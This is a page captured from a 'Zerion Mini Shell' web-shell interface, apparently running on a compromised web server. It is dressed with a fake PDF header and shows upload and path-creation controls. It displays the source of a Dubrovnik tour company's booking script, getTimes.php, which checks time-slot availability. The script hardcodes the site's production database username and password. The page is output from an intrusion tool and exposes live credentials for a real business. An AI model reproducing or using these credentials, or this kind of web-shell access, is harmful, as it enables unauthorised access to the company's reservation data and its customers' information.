%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/buggydubrovnik.com/premium-booking/
Upload File :
Create Path :
Current File : //var/www/html/buggydubrovnik.com/premium-booking/getTimes.php

<?php
date_default_timezone_set("Europe/Zagreb");
if(isset($_GET["date"])){
    $timestamp=strtotime($_GET["date"]);
    //OVERHEAD, ali za svaki slučaj
    $date=date("Y-m-d", $timestamp);


    $m=date("m", $timestamp);
    /*3.4. - do 17 h
    6.,7.,8. - do 19 h
    5.,9. - do 18h
    10. - do 17 h*/

    $min=10;
    if($timestamp==strtotime("today"))
    {
        $min=intval(date("H", strtotime("now")))+3;
        if($min<10) $min=10;
    }

    $max=0;
    $con=mysqli_connect("localhost", "buggydubrovnik_app_production", "appr-17", "buggydubrovnik_app_production");
//    $con=mysqli_connect("localhost", "root", "", "buggydubrovnik_app_production");
    echo $con->error;
    if ($m==10||$m==11) $max=14; //16
    elseif($m==3||$m==4||$m==10) $max=14; //17
    elseif($m==6||$m==7||$m==8) $max=16; //19
    elseif($m==5||$m==9) $max=16; //18
    if($m==8 || $m==6 || $m==7){
        for($i=10; $i<=18; $i++) {
            if(!in_array($i, [10, 13, 15, 18])) continue;
            $time=str_pad($i, 2, "0", STR_PAD_LEFT).":00";
            $start=$date." ".$time.":00";
            $end=$date." ".(str_pad($i+2, 2, "0", STR_PAD_LEFT).":00").":00";  //$i+1
            //(StartA <= EndB) and (EndA >= StartB)
            $sql="SELECT SUM(r.resurs) FROM rezervacija r JOIN izlet_termin t ON t.id_izlet_termin=r.id_izlet_termin 
WHERE r.aktivan=1 AND t.aktivan=1 AND r.id_izlet_tip=1 AND r.id_vozilo_tip=4 AND t.termin < STR_TO_DATE('$end', '%Y-%m-%d %H:%i:%s')  AND r.datum_kupnja > STR_TO_DATE('$start', '%Y-%m-%d %H:%i:%s')";
            // echo $sql;
            $res=$con->query($sql);
            $row=$res->fetch_row();
            $sql2="SELECT (SUM(r.odrasli)+SUM(r.djeca)) FROM rezervacija r JOIN izlet_termin t ON t.id_izlet_termin=r.id_izlet_termin 
WHERE r.aktivan=1 AND t.aktivan=1 AND r.id_izlet_tip=2 and r.id_vozilo_tip=4 AND t.termin < STR_TO_DATE('$end', '%Y-%m-%d %H:%i:%s')  AND r.datum_kupnja > STR_TO_DATE('$start', '%Y-%m-%d %H:%i:%s')";
//         echo $sql2;
            $res2=$con->query($sql2);
            $row2=$res2->fetch_row();
//        echo($row2[0]);
            $row2Rest=$row2[0]%3!=0?3-($row2[0]%3):0;
            $row2=ceil($row2[0]/3);
            $row[0]=$row[0]+$row2;
            ?>
            <option data-free="<?=(4-$row[0])?>" value="<?=$time?>"><?=$time?></option>
        <?php }
    }
    else{
    for($i=$min; $i<=$max; $i=$i+2) {
        $time=str_pad($i, 2, "0", STR_PAD_LEFT).":00";
        $start=$date." ".$time.":00";
        $end=$date." ".(str_pad($i+2, 2, "0", STR_PAD_LEFT).":00").":00";  //$i+1
        //(StartA <= EndB) and (EndA >= StartB)
        $sql="SELECT SUM(r.resurs) FROM rezervacija r JOIN izlet_termin t ON t.id_izlet_termin=r.id_izlet_termin 
WHERE r.aktivan=1 AND t.aktivan=1 AND r.id_izlet_tip=1 AND r.id_vozilo_tip=4 AND t.termin < STR_TO_DATE('$end', '%Y-%m-%d %H:%i:%s')  AND r.datum_kupnja > STR_TO_DATE('$start', '%Y-%m-%d %H:%i:%s')";
        // echo $sql;
        $res=$con->query($sql);
        $row=$res->fetch_row();
        $sql2="SELECT (SUM(r.odrasli)+SUM(r.djeca)) FROM rezervacija r JOIN izlet_termin t ON t.id_izlet_termin=r.id_izlet_termin 
WHERE r.aktivan=1 AND t.aktivan=1 AND r.id_izlet_tip=2 and r.id_vozilo_tip=4 AND t.termin < STR_TO_DATE('$end', '%Y-%m-%d %H:%i:%s')  AND r.datum_kupnja > STR_TO_DATE('$start', '%Y-%m-%d %H:%i:%s')";
//         echo $sql2;
        $res2=$con->query($sql2);
        $row2=$res2->fetch_row();
//        echo($row2[0]);
        $row2Rest=$row2[0]%3!=0?3-($row2[0]%3):0;
        $row2=ceil($row2[0]/3);
        $row[0]=$row[0]+$row2;
        ?>
        <option data-free="<?=(4-$row[0])?>" value="<?=$time?>"><?=$time?></option>
    <?php }

    }
}
/**
 * Created by PhpStorm.
 * User: Leo
 * Date: 20.3.2017.
 * Time: 13:36
 */

Zerion Mini Shell 1.0